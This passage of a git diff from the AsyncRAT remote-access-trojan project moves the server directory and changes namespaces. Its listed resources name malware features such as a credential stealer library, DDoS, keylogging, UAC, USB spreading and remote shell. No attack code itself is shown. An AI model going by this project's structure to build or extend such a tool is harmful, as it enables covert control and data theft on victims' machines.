a/AsyncRAT-C#/AsyncRAT-Sharp/Resources/StealerLib.dll b/AsyncRAT-C#/Server/Resources/StealerLib.dll similarity index 100% rename from AsyncRAT-C#/AsyncRAT-Sharp/Resources/StealerLib.dll rename to AsyncRAT-C#/Server/Resources/StealerLib.dll diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/Resources/arrow_down.png b/AsyncRAT-C#/Server/Resources/arrow_down.png similarity index 100% rename from AsyncRAT-C#/AsyncRAT-Sharp/Resources/arrow_down.png rename to AsyncRAT-C#/Server/Resources/arrow_down.png diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/Resources/arrow_up.png b/AsyncRAT-C#/Server/Resources/arrow_up.png similarity index 100% rename from AsyncRAT-C#/AsyncRAT-Sharp/Resources/arrow_up.png rename to AsyncRAT-C#/Server/Resources/arrow_up.png diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/Resources/botkiller.png b/AsyncRAT-C#/Server/Resources/botkiller.png similarity index 100% rename from AsyncRAT-C#/AsyncRAT-Sharp/Resources/botkiller.png rename to AsyncRAT-C#/Server/Resources/botkiller.png diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/Resources/builder.png b/AsyncRAT-C#/Server/Resources/builder.png similarity index 100% rename from AsyncRAT-C#/AsyncRAT-Sharp/Resources/builder.png rename to AsyncRAT-C#/Server/Resources/builder.png diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/Resources/cGeoIp.dll b/AsyncRAT-C#/Server/Resources/cGeoIp.dll similarity index 100% rename from AsyncRAT-C#/AsyncRAT-Sharp/Resources/cGeoIp.dll rename to AsyncRAT-C#/Server/Resources/cGeoIp.dll diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/Resources/chat.png b/AsyncRAT-C#/Server/Resources/chat.png similarity index 100% rename from AsyncRAT-C#/AsyncRAT-Sharp/Resources/chat.png rename to AsyncRAT-C#/Server/Resources/chat.png diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/Resources/circle-loading-gif.gif b/AsyncRAT-C#/Server/Resources/circle-loading-gif.gif similarity index 100% rename from AsyncRAT-C#/AsyncRAT-Sharp/Resources/circle-loading-gif.gif rename to AsyncRAT-C#/Server/Resources/circle-loading-gif.gif diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/Resources/client.png b/AsyncRAT-C#/Server/Resources/client.png similarity index 100% rename from AsyncRAT-C#/AsyncRAT-Sharp/Resources/client.png rename to AsyncRAT-C#/Server/Resources/client.png diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/Resources/coding.png b/AsyncRAT-C#/Server/Resources/coding.png similarity index 100% rename from AsyncRAT-C#/AsyncRAT-Sharp/Resources/coding.png rename to AsyncRAT-C#/Server/Resources/coding.png diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/Resources/ddos.png b/AsyncRAT-C#/Server/Resources/ddos.png similarity index 100% rename from AsyncRAT-C#/AsyncRAT-Sharp/Resources/ddos.png rename to AsyncRAT-C#/Server/Resources/ddos.png diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/Resources/disabled.png b/AsyncRAT-C#/Server/Resources/disabled.png similarity index 100% rename from AsyncRAT-C#/AsyncRAT-Sharp/Resources/disabled.png rename to AsyncRAT-C#/Server/Resources/disabled.png diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/Resources/extra.png b/AsyncRAT-C#/Server/Resources/extra.png similarity index 100% rename from AsyncRAT-C#/AsyncRAT-Sharp/Resources/extra.png rename to AsyncRAT-C#/Server/Resources/extra.png diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/Resources/filemanager.png b/AsyncRAT-C#/Server/Resources/filemanager.png similarity index 100% rename from AsyncRAT-C#/AsyncRAT-Sharp/Resources/filemanager.png rename to AsyncRAT-C#/Server/Resources/filemanager.png diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/Resources/info.png b/AsyncRAT-C#/Server/Resources/info.png similarity index 100% rename from AsyncRAT-C#/AsyncRAT-Sharp/Resources/info.png rename to AsyncRAT-C#/Server/Resources/info.png diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/Resources/key.png b/AsyncRAT-C#/Server/Resources/key.png similarity index 100% rename from AsyncRAT-C#/AsyncRAT-Sharp/Resources/key.png rename to AsyncRAT-C#/Server/Resources/key.png diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/Resources/logger.png b/AsyncRAT-C#/Server/Resources/logger.png similarity index 100% rename from AsyncRAT-C#/AsyncRAT-Sharp/Resources/logger.png rename to AsyncRAT-C#/Server/Resources/logger.png diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/Resources/monitoring-system.png b/AsyncRAT-C#/Server/Resources/monitoring-system.png similarity index 100% rename from AsyncRAT-C#/AsyncRAT-Sharp/Resources/monitoring-system.png rename to AsyncRAT-C#/Server/Resources/monitoring-system.png diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/Resources/mouse.png b/AsyncRAT-C#/Server/Resources/mouse.png similarity index 100% rename from AsyncRAT-C#/AsyncRAT-Sharp/Resources/mouse.png rename to AsyncRAT-C#/Server/Resources/mouse.png diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/Resources/mouse_enable.png b/AsyncRAT-C#/Server/Resources/mouse_enable.png similarity index 100% rename from AsyncRAT-C#/AsyncRAT-Sharp/Resources/mouse_enable.png rename to AsyncRAT-C#/Server/Resources/mouse_enable.png diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/Resources/msgbox.png b/AsyncRAT-C#/Server/Resources/msgbox.png similarity index 100% rename from AsyncRAT-C#/AsyncRAT-Sharp/Resources/msgbox.png rename to AsyncRAT-C#/Server/Resources/msgbox.png diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/Resources/pc.png b/AsyncRAT-C#/Server/Resources/pc.png similarity index 100% rename from AsyncRAT-C#/AsyncRAT-Sharp/Resources/pc.png rename to AsyncRAT-C#/Server/Resources/pc.png diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/Resources/play-button.png b/AsyncRAT-C#/Server/Resources/play-button.png similarity index 100% rename from AsyncRAT-C#/AsyncRAT-Sharp/Resources/play-button.png rename to AsyncRAT-C#/Server/Resources/play-button.png diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/Resources/process.png b/AsyncRAT-C#/Server/Resources/process.png similarity index 100% rename from AsyncRAT-C#/AsyncRAT-Sharp/Resources/process.png rename to AsyncRAT-C#/Server/Resources/process.png diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/Resources/remotedesktop.png b/AsyncRAT-C#/Server/Resources/remotedesktop.png similarity index 100% rename from AsyncRAT-C#/AsyncRAT-Sharp/Resources/remotedesktop.png rename to AsyncRAT-C#/Server/Resources/remotedesktop.png diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/Resources/report.png b/AsyncRAT-C#/Server/Resources/report.png similarity index 100% rename from AsyncRAT-C#/AsyncRAT-Sharp/Resources/report.png rename to AsyncRAT-C#/Server/Resources/report.png diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/Resources/save-image.png b/AsyncRAT-C#/Server/Resources/save-image.png similarity index 100% rename from AsyncRAT-C#/AsyncRAT-Sharp/Resources/save-image.png rename to AsyncRAT-C#/Server/Resources/save-image.png diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/Resources/save-image2.png b/AsyncRAT-C#/Server/Resources/save-image2.png similarity index 100% rename from AsyncRAT-C#/AsyncRAT-Sharp/Resources/save-image2.png rename to AsyncRAT-C#/Server/Resources/save-image2.png diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/Resources/settings.png b/AsyncRAT-C#/Server/Resources/settings.png similarity index 100% rename from AsyncRAT-C#/AsyncRAT-Sharp/Resources/settings.png rename to AsyncRAT-C#/Server/Resources/settings.png diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/Resources/shell.png b/AsyncRAT-C#/Server/Resources/shell.png similarity index 100% rename from AsyncRAT-C#/AsyncRAT-Sharp/Resources/shell.png rename to AsyncRAT-C#/Server/Resources/shell.png diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/Resources/stop (1).png b/AsyncRAT-C#/Server/Resources/stop (1).png similarity index 100% rename from AsyncRAT-C#/AsyncRAT-Sharp/Resources/stop (1).png rename to AsyncRAT-C#/Server/Resources/stop (1).png diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/Resources/system.png b/AsyncRAT-C#/Server/Resources/system.png similarity index 100% rename from AsyncRAT-C#/AsyncRAT-Sharp/Resources/system.png rename to AsyncRAT-C#/Server/Resources/system.png diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/Resources/tomem.png b/AsyncRAT-C#/Server/Resources/tomem.png similarity index 100% rename from AsyncRAT-C#/AsyncRAT-Sharp/Resources/tomem.png rename to AsyncRAT-C#/Server/Resources/tomem.png diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/Resources/tomem1.png b/AsyncRAT-C#/Server/Resources/tomem1.png similarity index 100% rename from AsyncRAT-C#/AsyncRAT-Sharp/Resources/tomem1.png rename to AsyncRAT-C#/Server/Resources/tomem1.png diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/Resources/u-torrent-logo.png b/AsyncRAT-C#/Server/Resources/u-torrent-logo.png similarity index 100% rename from AsyncRAT-C#/AsyncRAT-Sharp/Resources/u-torrent-logo.png rename to AsyncRAT-C#/Server/Resources/u-torrent-logo.png diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/Resources/uac.png b/AsyncRAT-C#/Server/Resources/uac.png similarity index 100% rename from AsyncRAT-C#/AsyncRAT-Sharp/Resources/uac.png rename to AsyncRAT-C#/Server/Resources/uac.png diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/Resources/usb.png b/AsyncRAT-C#/Server/Resources/usb.png similarity index 100% rename from AsyncRAT-C#/AsyncRAT-Sharp/Resources/usb.png rename to AsyncRAT-C#/Server/Resources/usb.png diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/Resources/visit.png b/AsyncRAT-C#/Server/Resources/visit.png similarity index 100% rename from AsyncRAT-C#/AsyncRAT-Sharp/Resources/visit.png rename to AsyncRAT-C#/Server/Resources/visit.png diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/AsyncRAT-Sharp.csproj b/AsyncRAT-C#/Server/Server.csproj similarity index 99% rename from AsyncRAT-C#/AsyncRAT-Sharp/AsyncRAT-Sharp.csproj rename to AsyncRAT-C#/Server/Server.csproj index b92d1f3..5769b45 100644 --- a/AsyncRAT-C#/AsyncRAT-Sharp/AsyncRAT-Sharp.csproj +++ b/AsyncRAT-C#/Server/Server.csproj @@ -6,7 +6,7 @@ AnyCPU {7767C300-5FD5-4A5D-9D4C-59559CCE48A3} WinExe - AsyncRAT_Sharp + Server AsyncRAT-Sharp v4.6 512 diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/Settings.cs b/AsyncRAT-C#/Server/Settings.cs similarity index 89% rename from AsyncRAT-C#/AsyncRAT-Sharp/Settings.cs rename to AsyncRAT-C#/Server/Settings.cs index 90fbdbc..d197bdd 100644 --- a/AsyncRAT-C#/AsyncRAT-Sharp/Settings.cs +++ b/AsyncRAT-C#/Server/Settings.cs @@ -1,11 +1,11 @@ -using AsyncRAT_Sharp.Cryptography; -using AsyncRAT_Sharp.Sockets; +using Server.Cryptography; +using Server.Sockets; using System.Collections.Generic; using System.IO; using System.Security.Cryptography.X509Certificates; using System.Windows.Forms; -namespace AsyncRAT_Sharp +namespace Server { public static class Settings { diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/Socket/Clients.cs b/AsyncRAT-C#/Server/Socket/Clients.cs similarity index 98% rename from AsyncRAT-C#/AsyncRAT-Sharp/Socket/Clients.cs rename to AsyncRAT-C#/Server/Socket/Clients.cs index c02e156..91ea227 100644 --- a/AsyncRAT-C#/AsyncRAT-Sharp/Socket/Clients.cs +++ b/AsyncRAT-C#/Server/Socket/Clients.cs @@ -2,18 +2,18 @@ using System.IO; using System.Net.Sockets; using System.Windows.Forms; -using AsyncRAT_Sharp.Handle_Packet; +using Server.Handle_Packet; using System.Security.Cryptography; using System.Drawing; using System.Diagnostics; using System.Threading; -using AsyncRAT_Sharp.MessagePack; +using Server.MessagePack; using System.Text; using System.Net.Security; using System.Security.Authentication; using System.Threading.Tasks; -namespace AsyncRAT_Sharp.Sockets +namespace Server.Sockets { public class Clients { diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/Socket/Listener.cs b/AsyncRAT-C#/Server/Socket/Listener.cs similarity index 94% rename from AsyncRAT-C#/AsyncRAT-Sharp/Socket/Listener.cs rename to AsyncRAT-C#/Server/Socket/Listener.cs index ad13e7e..235ddfb 100644 --- a/AsyncRAT-C#/AsyncRAT-Sharp/Socket/Listener.cs +++ b/AsyncRAT-C#/Server/Socket/Listener.cs @@ -3,10 +3,10 @@ using System.Net.Sockets; using System; using System.Windows.Forms; using System.Drawing; -using AsyncRAT_Sharp.Handle_Packet; +using Server.Handle_Packet; using System.Diagnostics; -namespace AsyncRAT_Sharp.Sockets +namespace Server.Sockets { class Listener { diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/StreamLibrary/Enums.cs b/AsyncRAT-C#/Server/StreamLibrary/Enums.cs similarity index 100% rename from AsyncRAT-C#/AsyncRAT-Sharp/StreamLibrary/Enums.cs rename to AsyncRAT-C#/Server/StreamLibrary/Enums.cs diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/StreamLibrary/IUnsafeCodec.cs b/AsyncRAT-C#/Server/StreamLibrary/IUnsafeCodec.cs similarity index 100% rename from AsyncRAT-C#/AsyncRAT-Sharp/StreamLibrary/IUnsafeCodec.cs rename to AsyncRAT-C#/Server/StreamLibrary/IUnsafeCodec.cs diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/StreamLibrary/IVideoCodec.cs b/AsyncRAT-C#/Server/StreamLibrary/IVideoCodec.cs similarity index 100% rename from AsyncRAT-C#/AsyncRAT-Sharp/StreamLibrary/IVideoCodec.cs rename to AsyncRAT-C#/Server/StreamLibrary/IVideoCodec.cs diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/StreamLibrary/UnsafeCodecs/UnsafeStreamCodec.cs b/AsyncRAT-C#/Server/StreamLibrary/UnsafeCodecs/UnsafeStreamCodec.cs similarity index 100% rename from AsyncRAT-C#/AsyncRAT-Sharp/StreamLibrary/UnsafeCodecs/UnsafeStreamCodec.cs rename to AsyncRAT-C#/Server/StreamLibrary/UnsafeCodecs/UnsafeStreamCodec.cs diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/StreamLibrary/src/JpgCompression.cs b/AsyncRAT-C#/Server/StreamLibrary/src/JpgCompression.cs similarity index 100% rename from AsyncRAT-C#/AsyncRAT-Sharp/StreamLibrary/src/JpgCompression.cs rename to AsyncRAT-C#/Server/StreamLibrary/src/JpgCompression.cs diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/StreamLibrary/src/LzwCompression.cs b/AsyncRAT-C#/Server/StreamLibrary/src/LzwCompression.cs similarity index 100% rename from AsyncRAT-C#/AsyncRAT-Sharp/StreamLibrary/src/LzwCompression.cs rename to AsyncRAT-C#/Server/StreamLibrary/src/LzwCompression.cs diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/StreamLibrary/src/NativeMethods.cs b/AsyncRAT-C#/Server/StreamLibrary/src/NativeMethods.cs similarity index 100% rename from AsyncRAT-C#/AsyncRAT-Sharp/StreamLibrary/src/NativeMethods.cs rename to AsyncRAT-C#/Server/StreamLibrary/src/NativeMethods.cs diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/app.manifest b/AsyncRAT-C#/Server/app.manifest similarity index 100% rename from AsyncRAT-C#/AsyncRAT-Sharp/app.manifest rename to AsyncRAT-C#/Server/app.manifest diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/async_icon.ico b/AsyncRAT-C#/Server/async_icon.ico similarity index 100% rename from AsyncRAT-C#/AsyncRAT-Sharp/async_icon.ico rename to AsyncRAT-C#/Server/async_icon.ico diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/packages.config b/AsyncRAT-C#/Server/packages.config similarity index 100% rename from AsyncRAT-C#/AsyncRAT-Sharp/packages.config rename to AsyncRAT-C#/Server/packages.config